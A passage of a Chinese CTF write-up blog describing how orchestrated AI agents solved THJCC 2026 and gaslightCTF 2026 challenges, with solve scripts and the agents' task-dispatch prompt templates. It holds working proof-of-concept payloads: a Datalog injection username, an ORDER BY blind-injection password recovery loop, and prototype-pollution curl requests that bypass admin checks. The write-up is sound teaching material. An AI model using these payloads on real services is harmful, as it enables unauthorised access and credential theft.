{r.stdout.decode(errors=\u0026#34;replace\u0026#34;).strip()!r} (exit {r.returncode})\u0026#39;) r2 = subprocess.run([\u0026#39;./handout/chal/chal\u0026#39;], input=b\u0026#39;THJCC{test}\\n\u0026#39;, capture_output=True, cwd=Path(__file__).parent) print(f\u0026#39;control (wrong flag): {r2.stdout.decode(errors=\u0026#34;replace\u0026#34;).strip()!r}\u0026#39;) return cand if __name__ == \u0026#39;__main__\u0026#39;: main() TeaGod.exe Flag：THJCC{h77p5://p4s73b1n.com/R58uv133}\nMinGW 膜拜程序，首次点击解 36 字节奖励串；GetTickCount()\u0026amp;0xff 双异或恰好抵消 是动态分析陷阱。\n📜 TeaGod.exe solve.py（53 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;THJCC Summer 2026 - TeaGod.exe (Reverse, 241 pts) - flag extractor. Static reverse of the reward decryption in TeaGod.exe (MinGW-w64 Win32 GUI). How it works (from disassembly of TeaGodNote WndProc @ 0x140001d50): Clicking \u0026#34;WORSHIP TEA GOD\u0026#34; (button id 0x1001) on a TeaGodNote popup: - increments the worship counter (global 0x1400080c8, shown as \u0026#34;Worship count: N\u0026#34; in the main window) - kills the 0xcafe popup timer, destroys all popup windows - decrypts the reward string and opens the \u0026#34;REWARD UNLOCKED\u0026#34; window (class TeaGodReward) with the flag in an EDIT box + COPY button. Decryption (at 0x140001e74..0x140002073): 1. Three 12-byte ciphertext chunks pointed to by the table at rdata 0x140005210 -\u0026gt; 0x1400051e6 / 0x51f2 / 0x51fe. 2. Per-chunk key bytes at rdata 0x140005228: [0xa7, 0x3c, 0xd1]. intermediate[chunk*12 + i] = (cipher[chunk][i] - (25 + 7*i)) ^ key[chunk] 3. Byte-stream key \u0026#34;hc_ehsna\u0026#34; (8 bytes, embedded as movabs immediate). final[i] = intermediate[i] ^ key2[(1 + 3*i) \u0026amp; 7] (a GetTickCount()\u0026amp;0xff byte is XORed in and out twice -\u0026gt; cancels, it is pure obfuscation to mislead dynamic analysis) No runtime needed. Usage: python3 solve.py [TeaGod.exe] \u0026#34;\u0026#34;\u0026#34; import sys def main(path: str) -\u0026gt; str: data = open(path, \u0026#34;rb\u0026#34;).read() # PE section layout (fixed for this binary) rdata_va, rdata_raw = 0x140005000, 0x4000 def off(va: int) -\u0026gt; int: return rdata_raw + (va - rdata_va) cipher = b\u0026#34;\u0026#34;.join( data[off(va): off(va) + 12] for va in (0x1400051E6, 0x1400051F2, 0x1400051FE) ) chunk_keys = [data[off(0x140005228) + i] for i in range(3)] key2 = b\u0026#34;hc_ehsna\u0026#34; intermediate = bytearray() for ch in range(3): for i in range(12): intermediate.append((cipher[ch * 12 + i] - (25 + 7 * i)) \u0026amp; 0xFF ^ chunk_keys[ch]) flag = bytes(intermediate[i] ^ key2[(1 + 3 * i) \u0026amp; 7] for i in range(36)) print(flag.decode()) return flag.decode() if __name__ == \u0026#34;__main__\u0026#34;: main(sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;TeaGod.exe\u0026#34;) 三、六道未解题复盘 The Archivist（Web 500，5 轮，全场 0 解）。击杀链打到 SSTI 执行层（自研 wasm 签名 → 实体编码绕 WAF → v2 引擎渲染），但引擎精确定性为 stock jinja2 ≥3.1.6 SandboxedEnvironment：CVE-2025-27516 已修、151+198 个 filter 候选全灭、 108 个变量名全 stock、format-spec 下标活口在 stock globals 下不闭合。隐藏端点 /api/export?file= 的签名掺了客户端不可推导的服务端 secret（~95 消息格式变体全 403）。没有 0day 的话这题就是不可解的，和全场 0 解的结果对得上。\nBuggy web（Web 500，7 轮，全场 0 解）。官方 hints 点明密码字段拼 SQL，DB 还有休眠函数，但 ~350 payload × 8 个观测维度（内容/状态码/长度/md5/cookie/重定向/ 时延/崩溃）全部恒定。反证：/post?id=大int 会 500（OverflowError 不吞）而 login 从不 500 → password 进的是结果被丢弃的查询（疑登录审计 INSERT），黑盒 结构性无 oracle。时延通道第 8 次用交错 A/B 对照证伪：LB 的限速 stall 和 SLEEP(1) 的信号长一个样。赛后方向：注入点在登录后功能（评论区 + 审核流）。\nCTFxck（Misc 456，12 解，10 轮）。CTFuck esolang，要写一个不超过预算的程序去处理 stdin 噪声。三轮教训递进：①预算口径最终钉死为程序总字节 ≤111 含换行（第 6 轮 \u0026ldquo;换行不计费\u0026quot;只测过单行程序）；②假阳性级联：超预算的程序一律被自动 nope，历史上那些\u0026quot;已测结论\u0026quot;成片作废，甚至堆出\u0026quot;stdin 有 UTF-16 文本区\u0026quot;的幻觉假设（三个真跑的程序空输出把它证伪）；③判定只对正常退出的程序给出。度量口径错误会污染之后每一轮。\nShifting v2（Misc 499，3 解）。密码层 100% 破解并双向验证：base64 → 27 个 平假名+苏州数字 → 码点末两位 hex 十进制 + chr(V+24) + 字母 ROT-4 → 唯一明文 https://pastebin.com/D15r3g。paste 全程 404（8 小时内五次核查），Wayback / archive.today / 搜索引擎全无快照，附件哈希未换。3 个解出全在 08-15 paste 存活的 窗口期。外部资源死亡 ≠ 解题失败。\nAll night long（Misc 259，30 解）。一段 14 秒的音频：外段两段不同乐句（Shazam 18 变体不识别 = 梗曲 remix 不入库），中段 67ms 波形数码复制 59 次（stutter 特效制作 手法，频谱逐位相同排除逐字符编码）。卡在需要人耳认歌。\nMinecraft???（Forensics 481，9 解）。服务器明令禁自动化工具，需要真人 MC Java 1.21.11 客户端进 mc.pg72.tw 找讲台书。\n四、反思 编排式的甜与苦。主 agent 不进单题细节，上下文全程干净，46 题从 08-15 傍晚打到终局不乱；但\u0026quot;验收\u0026quot;靠的是子 agent 的回报，这次用平台 solved_by_me 复核加产物目录抽查兜住了。子 agent 自己更新总表出现过两次编辑竞态，最后统一成\u0026quot;子 agent 只写题目 目录、总表由主 agent 收口\u0026rdquo;。\n度量口径先于一切。CTFxck 十轮里最贵的错误不是任何一次 payload，而是\u0026quot;预算计量单位\u0026quot;搞错了。口径差一代，后面所有实验的判定成片作废，还能反向堆出幻觉假设。 任何\u0026quot;超过 X 就拒绝\u0026quot;的黑盒约束，边界实验必须覆盖计量单位的所有维度。\n统计分析的盲区要靠感知兜底。Welcome 的单帧单字符、Afterimage1 的孤立帧， 都是统计管道全绿、人眼或多模态一眼就能看出来的题。这次把三道感知题打包外送 GPT，附带交接文档（已知事实、假阳性记录、输出格式），中了 2/3。交接文档写得好不好，直接决定外援效率。\n假阳性要有对照组。Buggy web 的时延 oracle 三次\u0026quot;命中\u0026quot;全被交错 A/B 对照 证伪（LB stall 与 SLEEP 同形）。连续 3/3 复现也可能只是整个窗口都在 stall。\n穷尽也是一种产出。三道未解的穷尽型题目（Archivist 5 轮 / Buggy web 7 轮 / CTFxck 10 轮）每轮的排除面、新原语、语义修正都落盘了。赛后拿官方 writeup 来对，这些是最值钱的对照材料。\n结尾 40/46（Crypto、Pwn、Rev、Welcome 全清），4504 分，排名 14。deepseek-v4-flash 与 GLM-5.3 五个主会话接力编排（模型归属逐段核自会话运行记录）、138 个子 agent 流水线（flash 68 / GLM 70，合计 6850 请求）、GPT 两次多模态出手、主 agent 两道 本地快题。完整的题解过程（每题 WRITEUP、全部脚本、CTFxck 十轮断点、Buggy web 七轮矩阵）在本地题目目录里，每题一个文件夹。能带走的东西写进了方法论文档：炸栈指纹、孤立帧差分、Ghost Bits、假阳性级联、时延对照纪律，五节（对应题目：Canary Notes、Afterimage1、SimpleNotes、CTFxck、Buggy web）；另 Reverse 四题的 cl+0x1A 滚动异或套路见 Reverse 节横联。\n附录：任务编排模板首版全文（08-15 16:52 注入主会话） 第一节引用的「任务编排模板首版全文」原样附在此处；提交锁/实例锁的废除、并行度 6→3 回落等修订史见第一节（prompt 对照表 + 纪律）。当前修订版存于作者技能库 prompttemplate/ctfhunterprompt.txt。\n真实派单示例（gaslightCTF 2026 的 4-piece-puzzle，与 THJCC 同骨架） 派单 prompt 是模板「阶段 2」的具体化：题目情报 + 模型能力边界 + 工作纪律 + 回报格式四块。 以下为真实派单全文（机器本地绝对路径已掩码为 \u0026lt;工作目录\u0026gt;）：\n📜 真实派单示例（gaslightCTF 2026 4-piece-puzzle）（20 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 你是 CTF 解题子 agent，负责解 gaslightCTF 2026 的 forensics 题 **4-piece-puzzle**（484 分，40 人已解）。 ## 题目情报 - 题目页：https://play.gaslightctf.cooking/challenges/4-piece-puzzle - 题面：**\u0026#34;these fou-fou-four puzzle pieces are my favourite colours! excuse the stutter.\u0026#34;** —— 四块拼图 + 颜色（\u0026#34;my favourite colours\u0026#34;）+ 口吃（fou-fou-four = 4-4-4？\u0026#34;these fou-fou-four\u0026#34;可能暗示 4×4 或 444） - 附件（已预下载）：`\u0026lt;工作目录\u0026gt;/4-piece-puzzle/puzzle_pieces.zip`（71468 字节） - 思路起点：解压看内容（4 张拼图片？）。纯图像算法处理：颜色直方图/主色提取、拼图边缘匹配拼接、按颜色排序。\u0026#34;favourite colours\u0026#34;提示 flag 可能由**颜色序列编码**（如每块主色 → 字母/数字），拼接顺序即 flag。\u0026#34;fou-fou-four\u0026#34;可能提示 4 块 × 4 面 或 444。先 `unzip -l` + 图像信息（尺寸/模式/主色）。 - **重要边界**：当前模型无视觉能力。若解题只靠**像素/颜色数值分析**（提取主色、边缘匹配、直方图）可以继续；若卡在\u0026#34;需要人眼理解图像内容/语义\u0026#34;（看图认字、识别图形），**立即停止**，写 notes.md 断点（含已提取的颜色/结构数据）回报，不要硬耗。 ## 工作纪律 1. 工作目录：`\u0026lt;工作目录\u0026gt;/4-piece-puzzle/`（中间产物放这里，禁 /tmp）。 2. 浏览器：`agent-browser --profile Default --session agent16`。打开题目页 → 填 flag 到 textbox → Submit Flag。 3. 判对信号：提交后 Solves 计数 +1 或 Submit Flag 表单消失。提交间隔 sleep 2s；判错继续，变体 ≤5 次。 4. 落盘：`WRITEUP.md`（五段式）+ `solve.py`（可复现）。被否尝试记边界。 5. 时间盒 30-40 分钟；无进展回报卡点。 6. 保密：实例地址/凭据不写入任何文档（本题无实例）。 7. **不要修改比赛总表 README.md**（主 agent 统一更新）。 ## 回报格式（最后消息） 结论（解出/未解/卡点-是否视觉瓶颈）+ flag + 平台判定信号 + WRITEUP 路径 + 下一步建议。 📜 任务编排模板首版全文（44 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 # 任务：CTF 全量刷题（主 agent 编排模式） ## 任务参数（换比赛/平台只改这一块；平台特定事实以实际为准，开工先侦察确认） - 平台挑战列表：https://ctf2026-sum.thjcc.org/challenges（登录态复用 Chrome Default profile） - 产物根目录：`THJCCCTF2026summer/`，一题一个文件夹，禁止放 tmp 或仓库根目录 - 浏览器入口：`agent-browser --profile Default`（`open → wait → snapshot -c -i → click @ref / fill \u0026#39;input\u0026#39;`），不换 profile - 判对信号（THJCC 实测示例，勿套用到其他平台）：提交成功提示 + 页面已解计数 +1；判错为错误提示。新平台开工先提交观察一次，把实际信号补录进本块 - 实例机制（以平台实际为准，勿预设互斥/超时）：有无实例、可否多开、生命周期各不相同；开工先确认并补录本块。实例地址不写入任何文档 - 方法论：`ctf-solver` skill（Skill 工具加载；未注册则读用户提供的技能文件路径），其 references/ 含六类题型模式文档、工具手册、payload 速查 - 环境：编程环境齐备；缺轮子按序 pip 装进项目 `.venv`（Python 3.11.11）→ brew → GitHub 检索源码安装，装完立即验证可执行；脚本兼容 macOS bash 3.2（`${VAR}` 花括号、禁数组） ## 通用规则（平台无关，跨比赛复用） ### 角色分工 - 主 agent 不亲自解任何题，只做：侦察题目列表、排序派单、提交结果验收、总表汇总；不重复提交 flag。 - 每题派一个 general-purpose 子 agent，单题过程不进主上下文。 - **并行度：同时最多 3 个子 agent 解题，题型不限**；需实例的题由子 agent 自行按平台机制启动/回收实例（实例地址从题目页获取）。总表更新只由主 agent 做，子 agent 不写总表。 ### 阶段 1：侦察与排序（主 agent，轻量） 1. 打开挑战列表页，提取每题：名称、分类、分值、解出数、有无源码/附件。 2. 盘点产物根目录已有文件夹：有 WRITEUP 且 flag 已提交确认的视为完成（跳过），未完成的排入队列，不重复建目录。 3. 排序启发式（依次满足）： a. 非多模态优先于多模态依赖（读图/听音/视频内容才可推进的题标记待办最后做；LSB/binwalk/OCR/whisper 等纯工具可解的不算多模态依赖，按普通题做）； b. 有源码优先于纯黑盒； c. 同条件下先做解出数多、分值低的题（难度代理指标）。 4. 总表写入 `\u0026lt;根目录\u0026gt;/README.md`（挑战|分值|考点|flag|状态），逐题更新。 ### 阶段 2：逐题派单（子 agent 执行，并行度 ≤3） 派单 prompt 固定骨架，自包含注入：题目名/链接/分类/描述 + 有无源码与附件路径 + 实例信息（如需，由子 agent 自行启动获取）+ 排序理由 + 以下纪律： 1. 按需加载 ctf-solver skill 按主循环走：读题 → 按分类加载对应模式文档 → 构造利用 → 有本地可复现部分先本地打通再打远程，纯黑盒直接远程打点。 2. 浏览器操作一律 `agent-browser --profile Default`。 3. 落盘纪律：`WRITEUP.md` 五段式（挑战概述→侦察结论→攻击链→复现→修复建议）；有脚本解法必写 `solve.py/solve.sh`（不写死实例地址）；调试产物（probe.py/notes.md）保留复盘价值；被否掉的尝试记一句边界（为什么不通）。 4. 保密纪律：实例 hostname、临时凭据不写入任何文档；实例地址变化后回题目页重新获取。 5. 时间盒：单题上限 30 分钟，连续 15 分钟无新进展即回报主 agent 决策（换题/加时/换思路），不无限耗。 6. 提交纪律：拿到候选 flag 后自行提交——**先取提交锁**（见「并行与互斥」），锁内串行提交、间隔 sleep 1-2s、绝不与其他 agent 并发，提交完立即释放锁。判定以该平台实际返回为准：判对信号通常是成功提示/已解计数 +1，判错是错误提示——**具体文案各平台不同，先观察本次提交的返回形态，把实际判对/判错信号记录进 WRITEUP 与回报，再据此定脚本匹配规则**（通用陷阱：勿用 `correct` 等短子串匹配判对，会误命中 incorrect）；判定为错则在时间盒内继续排查迭代；提交失败（登录过期等）回报主 agent 处理，不重复乱试。 7. 回报格式：结论（解出/未解/卡点）+ 候选 flag + 平台判定信号（实际返回文案/页面变化）+ WRITEUP 路径 + 下一步建议。 ### 阶段 3：验收与汇总（主 agent） - 以子 agent 回报的平台判定信号为验收依据，**不重复提交**；存疑时复核页面状态（已解计数/提交历史）。子 agent 回报中确认的判对信号补录进任务参数块（后续题目复用）。 - 已解 → 更新 TodoWrite 与 README 总表（flag 只出现在总表与 WRITEUP 中）；未解 → 总表标注原因。 - 每题验收清单：WRITEUP 五段齐全；solve 脚本可复现；flag 已提交且平台确认（子 agent 回报的判定信号）；目录内无实例地址泄漏。 - 比赛进行期间不推送任何 writeup/exp 到公开远端（防 DQ），结束后由用户决定提交。 - 收尾：比赛级总结（解题数/覆盖率/分题型经验），可迁移经验沉淀 `METHODOLOGY.md`。 ","date":"2026-08-16T00:00:00Z","permalink":"/2026/08/16/thjcc-ctf-2026-writeup/","title":"THJCC CTF Summer 2026 writeup"},{"content":"gaslightCTF 2026 writeup gaslightCTF 2026（Berg CTF 平台，动态计分，账号级实例互斥）一共放出 35 题，分两轮打完， 解出 29：\n分类 战绩 备注 Web 5/5 全清 Crypto 9/9 全清 Pwn 5/5 全清 Rev 2/2 全清 Forensics 4/6 未解：4-piece-puzzle（拼图重建） Misc 4/10 未解：speedy / quack / meow（照片地理定位）、Tuning Keyboard v6.7（听歌）、mineguessor（Minecraft 种子） 两轮的打法完全不同。第一轮（08-15，16 题全部解出）是传统的单会话硬打： GLM-5.3 打前半场，DeepSeek v4-pro/flash 收后半场，两道要\u0026quot;看图\u0026quot;的题（good-luck!、odyssey） 由外部多模态模型 GPT-5.6-sol 补位——三个模型接力。第二轮（08-16 19:40 平台放出 19 道新题，08-17 收官，13/19）换成了编排式：主 agent 只做侦察、附件预下载、排序派单、 验收与总表，每题派一个 general-purpose 子 agent，≤3 并发滑窗 + 断点落盘续派。\n未解的 6 题全部卡在视觉/听觉上：照片地理定位 ×3、拼图重建、旋律识别、Minecraft 种子 定位。但每题都推进到了\u0026quot;只差最后一眼/一耳\u0026quot;的位置——其中 layered-pages 证明了连通域 结构分析甚至能完全替代视觉（已解出）。怎么分工、踩了哪些坑、六道没解出来的题卡在哪， 都写在前面，题解放后面，每题附一段能直接跑的最小 POC。比赛已结束，flag 全部公开。\n一、模型怎么分的工 第一轮（08-15）：三个模型接力，单会话 sess_f49b00b0 同一个 ZCode 会话（sess_f49b00b0）里，模型中途换过一次。归属是我事后从 本地 db 的 model_usage 表（342 次 GLM 请求 + 77 次 pro + 342 次 flash） 和各题文件时间戳交叉核对出来的，不是猜的。\n模型 时段 完成的题目 GLM-5.3 09:23–10:53 Web 3/3（biscuit、messageboard、json-warehouse）；Crypto 5/5（affine-hill、dream-starts 1/2、NEWJEANS IS FIVE、CompleteHTTP）；Misc 的 sanity-check、jsbox、useless-rce（利用链写到了 final.hs）；odyssey 前期 OSINT（10:28–10:36，被暂停） DeepSeek v4-pro / v4-flash 10:53–14:15 useless-rce 收尾；ram-conservation；badcat（fd 复用）；compiled-source-sheets；good-luck! 分析（没解出来）；odyssey（图搜 + 网格盲试，37.974,23.724 被平台接受）；全部文档整理 GPT-5.6-sol（外部） 12:07 / 14:01 good-luck!（右声道 0–4 kHz 频谱图）；odyssey（官方答案：Canellopoulos Museum 37.9729473,23.7260968 → 37.973,23.726）。GLM 和 DeepSeek 都没多模态，看图题只能靠它 模型切换点：10:53 我发了句\u0026quot;继续\u0026quot;，GLM-5.3 最后一次请求 10:53:22， DeepSeek 10:53:30 接管。12:24 会话触发过上下文压缩，之后又从 flash 切到 pro。\n我给的 prompt（对照表，从会话记录提取） 时间 原始 prompt（摘录） 响应的模型 09:23 完成 https://play.gaslightctf.cooking/challenges 中web漏洞的挑战，有什么需求轮子可以自己安装github（检索）/brew，并把你的解题思路记下来，全部解题与思路都放在 gaslightCTF2026/，每个题目一个文件夹。浏览器操作使用 agent-browser，凭据用chrome原有的：\u0026ldquo;agent-browser\u0026rdquo;, \u0026ldquo;\u0026ndash;profile\u0026rdquo;, \u0026ldquo;Default\u0026rdquo; GLM-5.3 09:29 本地有python3 的 GLM-5.3 09:54 现在解决下：crypto GLM-5.3 10:12 现在有timeout了，也有gtimeout，可以用了，你那个进程run的有点久了，这是正常的吗？ GLM-5.3 10:21 完成 misc、pwn、rev、forensics 按顺序。 GLM-5.3 10:42 先跳过这个，社工的题目先不做（浪费时间），先做技术的题目 GLM-5.3 10:53 继续 ← 模型切换点 DeepSeek v4-pro → v4-flash 11:20 继续 DeepSeek v4-flash 11:50 为什么要用docker？ DeepSeek v4-flash 12:07 这是题解，其他人做出来了：Forensics｜Good luck! Writeup …（外部题解全文，见下文 Forensics 节） DeepSeek v4-flash（内容来源 GPT-5.6-sol） 12:22 沉淀经验方法论。写到 gaslightCTF2026/ 中。 DeepSeek v4-flash 12:24 gaslightctf2026 … pwn 的badcat完成下 DeepSeek v4-pro 12:25 应该需要获取新的环境 or什么的？ DeepSeek v4-pro 12:38 完成这个题目：Categories misc … Do I colour grade better than Christopher Nolan? …（odyssey） DeepSeek v4-pro 12:51 在这个附近 gaslightCTF{37.974,23.726}。提交下flag，sleep提交，别并发，已经试过错误的：37.972/973/974,23.726 DeepSeek v4-pro / v4-flash 13:45 我让众多agent解题，几乎都是这个flag：37.973,23.726 … 你写一个脚本，把这附近的flag都交一下试试看？尝试100次最多。执行后返回结果。 DeepSeek v4-flash 14:01 这个是odyssey的题解，学习并更新下你的wp：…（官方题解全文，见上文 Misc 节） DeepSeek v4-flash（内容来源 GPT-5.6-sol） 会话 12:24 触发上下文压缩后，rollout 日志只剩压缩后的记录；GLM 时代的请求 完整存在本地 ZCode db（model_usage / message 表）。这也是本表归属的出处。\n第二轮（08-16 ~ 08-17）：主 + 子 agent 编排，13/19 08-16 19:40 平台放出第二批 19 道新题（crypto 4、rev 1、pwn 3、web 2、forensics 4、 misc 5）。这次不打人海战，直接套用 THJCC 那套打磨过的编排模板（母版 ctfhunter-prompt-template.md 的 gaslightCTF 实例），主 agent 不进单题细节， 上下文全程干净：\n执行者 完成的题目 子 agent 流水线（13 解） down-the-stream-1/2、no-info、dream-starts-3、ohfrick、good-enough、ucas、thirds、crawl、corridors、blackout、icon-sketch、layered-pages 主 agent（编排 + 验收 + 代提交） 侦察题目列表、附件预下载、排序派单、验收、总表；speedy 后半程亲自攻坚（事件钉死、坐标候选排除、街景证据翻案） 多模态挂起（6 题） speedy / quack / meow / 4-piece-puzzle / tuning-keyboard-6 / mineguessor——视觉 API 限流 + 模型无视觉听力，按用户指示挂起，断点全量落盘各题 notes.md 编排的骨架：\n每题一个 general-purpose 子 agent，40 分钟时间盒；断点落盘续派——子 agent 中断/死亡后检查产物目录，把已完成分析注入新 prompt 重派，不重复劳动。 ≤3 并发滑窗：所有 agent 一律后台派发，任何一个结束（含失败）立即从队头 补派，保持 3 个常满。THJCC 晚场实测 6 并发会连环触发模型层故障，这个教训直接沿用。 附件预下载：主 agent 在派单前用 pantry 直链（curl -A \u0026quot;\u0026lt;浏览器UA\u0026gt;\u0026quot;）把全部 附件下到对应题目目录，派单 prompt 只注入本地路径，子 agent 不做下载。 实例串行令牌（gaslightCTF 平台特有）：账号级实例互斥，同账号同时只能一个实例 ——实例题（web 黑盒、pwn 远程交互段）必须串行，主 agent 维护\u0026quot;实例归属\u0026quot;，用完 立即 Kill 释放才派下一个；本地题（crypto/rev/纯文件取证）不受此限全程并行。 总表只由主 agent 写（子 agent 并发改 README 有覆盖风险）；浏览器会话隔离， 每个子 agent 用自己唯一的 --session \u0026lt;名\u0026gt;。 解题优先级是用户定稿的：pwn/rev/crypto（有源码可本地调试、AI 友好）→ 有源码 附件的 web/misc → 无源码黑盒 → 多模态最后。同优先级内解出数多者优先（越多越简单， 也是可解性实证）。19 题按这个排序打下来：Tier 1 的 8 道 pwn/rev/crypto 全清， Tier 3 的 2 道黑盒 web 全清，Tier 4 文件取证 4 道里 blackout/icon-sketch/layered-pages 3 道本地化解，纯视觉/听觉的 6 道挂起。\n多模态挂起的决策：视觉 API 撞上账户级 429 限流（8 次尝试跨 35 分钟全拒）， 当前模型又没有原生视觉/听力——quack 的子 agent 在时间盒内把 EXIF、OCR、三轮 Yandex 图搜全做完后卡在\u0026quot;识别画面主体\u0026quot;，继续硬耗只会烧预算。按用户指示整体挂起，断点 全量落盘（每题 notes.md 按\u0026quot;已确凿的事实 / 当前假设与排除面 / 下一步（优先级）\u0026quot; 分节），赛后可续攻。\n两轮打磨出来的纪律 Solves 计数 +1 不是判对信号（corridors 的教训）：Berg CTF 的 Solves 是全局 计数，别人解出也会 +1。corridors 的子 agent 报告\u0026quot;Solves 80→81 判对\u0026quot;，主 agent 核对列表无 ✓ 标记后重新提交，才真正解出。唯一可靠信号 = 刷新后 Submit Flag 表单消失 / \u0026ldquo;You have solved this challenge!\u0026rdquo; / 列表 ✓ 标记。 视觉 API 只用中性开放提问（layered-pages 的教训）：带猜测提问（\u0026ldquo;是不是 (z3r0)0ut？\u0026quot;）时视觉模型会\u0026quot;确认\u0026quot;不存在的内容——9 字符的字形行被读成只有 3 个 主行字形。前任 agent 因此交了约 50 个错误 flag。规矩：只用\u0026quot;逐项描述所有可见 内容，不确定的标注不确定\u0026rdquo;，读数必须本地手段交叉验证。 截图证据链要过文件大小审计（speedy 的教训）：子 agent 的 7 张街景截图里 4 张是 12KB 的占位图（页面加载失败的 UI 空壳，多张 md5 相同），当作证据会得出 假结论。主 agent 用 RANSAC 单应内点数翻案：真同地点两张图 2055 个内点， 假匹配只有 5 个——判别力极强，\u0026ldquo;看起来像\u0026quot;不算数。 模型层故障 ≠ 解题失败：子 agent \u0026ldquo;Model returned no text\u0026rdquo; 中断后，它的分析 产物（notes.md / 脚本 / 截图）仍在。speedy 的事件识别（IShowSpeed × HCMC 天桥） 就是中断 agent 留下的完整成果，按断点续派或主 agent 接手即可，不要重做。 判定文案要先人工看一眼（odyssey 的教训，第一轮）：提交脚本的正则 *correct* 会误匹配 \u0026ldquo;incorrect\u0026rdquo; 里的子串；平台判对时显示的是 \u0026ldquo;You have solved this challenge!\u0026quot;，不是 \u0026ldquo;correct\u0026rdquo; 字样。写脚本前先把成功/失败/限流的文案各看一眼。 slug 与题名可能不一致：\u0026ldquo;Tuning Keyboard v6.7\u0026rdquo; 的 URL slug 是 tuning-keyboard-6，从列表页链接（get attr @ref href）拿真实 slug。 二、题解（29 题，每题附真实可运行的最小 POC） 每题代码即对应本地题目目录 \u0026lt;slug\u0026gt;/solve.py（或 solve.sh）的真实内容（个别长的 截取核心段，行数已注明）；联网 POC 为赛时实例验证，赛后需自建环境或本地起题； 纯人眼/OSINT 类题（odyssey）注明豁免与可复现部分。29 题 = 28 个条目 （Where the dream starts 1/2 合并为一条）。所有代码块默认折叠，按需点击展开。\n跨题套路：凡是给了源码的题先在本地跑起来再打远程（省一大半试错）；先黑盒侦察 再翻白盒源码；盲注/爆破/位流提取这类重复劳动全部脚本化；静态结论必须动态验证。 Web 的框架版本就是攻击面（json-warehouse）；Crypto 的魔改算法先找\u0026quot;缺了哪个部件\u0026rdquo; （NEWJEANS 没 S 盒、down-the-stream 的 LFSR 只有 8 bit）；Pwn 的 setuid 程序先画 fd 流转图（badcat）；多模态降级路线 macOS Vision \u0026gt; tesseract \u0026gt; 连通域结构分析 （layered-pages 就此破题）。\nWeb（5/5） biscuit（120）— Biscuit 令牌 Datalog 注入 Flag：gaslightCTF{d3f1nit3ly_a_cak3_f0r_l3g4l_r34s0n5_9eb56136ee9c}\n登录态是 Biscuit 能力令牌（Datalog 写的），/flag 要求令牌带 role(\u0026quot;admin\u0026quot;) 事实。服务端把用户名直接拼进 Datalog 源码，没有任何转义。注册用户名 x\u0026quot;); role(\u0026quot;admin 即可闭合字符串、追加事实、让语法保持合法，令牌还是服务器 自己签的——验证时用 protobuf 解码服务端令牌，确认 role(\u0026quot;admin\u0026quot;) 事实真的 进了授权层。\n📜 biscuit 最小 POC（4 行）——点击展开 1 2 3 4 import requests s = requests.Session() s.post(URL + \u0026#34;/register\u0026#34;, json={\u0026#34;username\u0026#34;: \u0026#39;x\u0026#34;); role(\u0026#34;admin\u0026#39;}) print(s.get(URL + \u0026#34;/flag\u0026#34;).text) # cookie 里的令牌已带 role(\u0026#34;admin\u0026#34;) messageboard（384）— ORDER BY 盲注，密码当探针 Flag：gaslightCTF{ar3_y0u_my_cl0s3_fr13nd_n0w?_3190aec242b4}\n输入全被过滤成字母数字，注入面看起来封死了。但 ORDER BY ${column} 能引用 任意列名，包括 secret（密码列）——标识符位置不吃字母数字过滤。于是把\u0026quot;注册 账号时的密码\u0026quot;当成探针：观察\u0026quot;按 secret 排序时 admin 排在探针前还是后\u0026rdquo;，构成 逐位比较的 oracle，二分恢复 admin 的 16 位 hex 密码，登录读 flag。整套 交互 ~200 次请求全部脚本化。\n📜 messageboard 最小 POC（13 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 def probe(prefix): # 探针密码以 prefix 开头时，admin 是否排在探针后面 register(prefix + \u0026#34;0\u0026#34; * (16 - len(prefix))) return order_of_admin_after_probe() secret = \u0026#34;\u0026#34; for pos in range(16): lo, hi = 0, 15 while lo \u0026lt; hi: mid = (lo + hi) // 2 if probe(secret + hex(mid)[2:]): hi = mid else: lo = mid + 1 secret += hex(lo)[2:] print(login(secret)) # 用 admin 密码登录读 flag json-warehouse（469）— 原型污染，免 cookie 越权 Flag：gaslightCTF{p0llut3d_w4r3h0us3s_ar3nt_v3ry_s4f3_c0nd1ti0ns_225a6ab744bb}\npackage.json 里 Elysia 1.4.16 是第一步：查 advisory 锁定双 body schema 的 mergeDeep 原型污染，再拉 node_modules 源码本地确认漏洞点。PUT /:key 带双 schema 时 __proto__ 键污染 Object.prototype；之后不带 cookie 请求时 Cookie.value 沿原型链取到 \u0026ldquo;1000\u0026rdquo;，服务端当成 admin——找的就是这种\u0026quot;读取时 回退到原型链\u0026quot;的取值点。\n📜 json-warehouse 最小 POC（3 行）——点击展开 1 2 3 curl -sk -X PUT \u0026#34;$BASE/storage/x\u0026#34; -H \u0026#39;Content-Type: application/json\u0026#39; \\ -d \u0026#39;{\u0026#34;value\u0026#34;:\u0026#34;2\u0026#34;,\u0026#34;__proto__\u0026#34;:{\u0026#34;value\u0026#34;:\u0026#34;1000\u0026#34;}}\u0026#39; curl -sk \u0026#34;$BASE/storage/flag\u0026#34; # 无 cookie，直接读 crawl（406）— robots.txt 是地图，不是门锁 Flag：gaslightCTF{LLM_1nduc3d_4r4chn0ph0b1a_de04d0ba1802}\n第二轮纯黑盒 web 题，题面只有一句 \u0026ldquo;AI crawlers never respect the rules\u0026hellip;\u0026quot;。 侦察第一步永远是 robots.txt：里面除了 Disallow: /super_secret/，还有一条注释 要求 LLM agent 访问时带 X-LLM-Agent 头——题面的双关，真正\u0026quot;不守规矩\u0026quot;的是直接 无视 robots.txt 的访问者。直接 GET 被 Disallow 的目录：nginx autoindex 开着， 目录列表里躺着 _flag.txt。准备的 UA 矩阵（ua_list.txt）根本没用上，普通 UA 一路畅通。\n📜 crawl solve.sh（30 行）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/bin/bash # crawl solve script — parameterized by HOST/PORT # Usage: bash solve.sh \u0026lt;host\u0026gt; \u0026lt;port\u0026gt; # The service is HTTPS-only (http 301 -\u0026gt; https); use 